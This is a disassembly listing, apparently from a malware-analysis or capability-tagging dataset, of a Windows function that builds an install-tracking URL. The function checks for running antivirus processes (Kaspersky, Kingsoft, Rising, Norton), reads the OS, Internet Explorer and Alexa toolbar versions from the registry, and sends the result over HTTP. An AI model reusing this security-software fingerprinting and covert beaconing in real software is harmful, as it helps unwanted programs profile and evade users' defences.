Function at 0x4038ce
Capabilities:
Check os version
Create http request
Query or enumerate registry value

Disassembly:
mov eax, 0x40786c
call fcn.00407400
sub esp, 0x1c0
push ebx
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.GOOGLE
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x1c], eax
jne 0x403907
push dword [ebp + 8]
call sub.MFC42.DLL_operatordelete
pop ecx
xor al, al
jmp 0x403d4a
push 0x40b254
lea ecx, [ebp - 0x10]
call fcn.004072c8
push str._clcount_count.asp_actioninstallver
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::operator
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push str.mac
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.0040705f
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x20]
push eax
mov byte [ebp - 4], 2
call fcn.0040708b
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call fcn.004072ce
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::operator_1
push str.lianmeng
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push 0x40b250
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator_1
push str.shada
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push str.avp.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403ab9
push str.AVP.EXE
call fcn.00403637
test eax, eax
pop ecx
jne 0x403ab9
push str.KWatch.EXE
call fcn.00403637
test eax, eax
pop ecx
jne 0x403ab2
push str.KPFW32.EXE
call fcn.00403637
test eax, eax
pop ecx
jne 0x403ab2
push str.kpfw32.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403ab2
push str.KVMonXP.kxp
call fcn.00403637
test eax, eax
pop ecx
jne 0x403aab
push str.KVWSC.EXE
call fcn.00403637
test eax, eax
pop ecx
jne 0x403aab
push str.KVSRVXP.EXE
call fcn.00403637
test eax, eax
pop ecx
jne 0x403aab
push str.RavMon.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403aa4
push str.RavStub.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403aa4
push str.RavMonD.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403aa4
push str.ccSvcHst.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403a9d
push str.AppSvc32.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403a9d
push str.ccApp.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x403a9d
push 0x40a928
jmp 0x403abe
push 0x40a920
jmp 0x403abe
push 0x40a918
jmp 0x403abe
push 0x40a910
jmp 0x403abe
push 0x40a908
jmp 0x403abe
push 0x40a900
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push esi
push edi
push 0x40a8f4
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
mov esi, 0x9c
lea eax, [ebp - 0xcc]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xcc], esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [ebp - 0xbc]
dec eax
dec eax
jne 0x403b5e
cmp dword [ebp - 0xc8], 4
jne 0x403b20
cmp dword [ebp - 0xc4], ebx
jne 0x403b5e
push str.NT_4.0
jmp 0x403b56
cmp dword [ebp - 0xc8], 5
jne 0x403b5e
cmp dword [ebp - 0xc4], ebx
jne 0x403b38
push str.2000
jmp 0x403b56
cmp dword [ebp - 0xc4], 1
jne 0x403b48
push 0x40a8e0
jmp 0x403b56
cmp dword [ebp - 0xc4], 2
jne 0x403b5e
push str.2003
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push str.ie
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
mov esi, 0x80
lea eax, [ebp - 0x1cc]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x1f
xor eax, eax
pop ecx
lea edi, [ebp - 0x14b]
mov byte [ebp - 0x14c], bl
push str.SOFTWAREMicrosoftInternet_ExplorerVersion_Vector
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x1cc]
push eax
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], esi
call edi
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x1cc]
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
lea eax, [ebp - 0x14c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
push 0x40a898
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, 6
pop ecx
jne 0x403c23
push 0x40a894
jmp 0x403c2d
cmp eax, 7
jne 0x403c35
push 0x40a890
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push str.alexa
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push esi
lea eax, [ebp - 0x1cc]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x1cc]
push str.SOFTWAREClassesCLSID3CEFF6CD_6F08_4e4d_BCCD_FF7415288C3B
push eax
call edi
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x1cc]
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
lea eax, [ebp - 0x14c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x14c]
lea ecx, [ebp - 0x24]
push eax
call sub.MFC42.DLL_CString::CString_2
push str.Alexa
mov byte [ebp - 4], 4
push dword [ebp - 0x24]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
pop ecx
pop edi
test eax, eax
pop esi
jne 0x403ce1
push 0x40a83c
jmp 0x403ce6
push 0x40a7a8
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::operator
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
jne 0x403d14
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp + 0xb], bl
jmp 0x403d18
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.00407084
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov al, byte [ebp + 0xb]
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret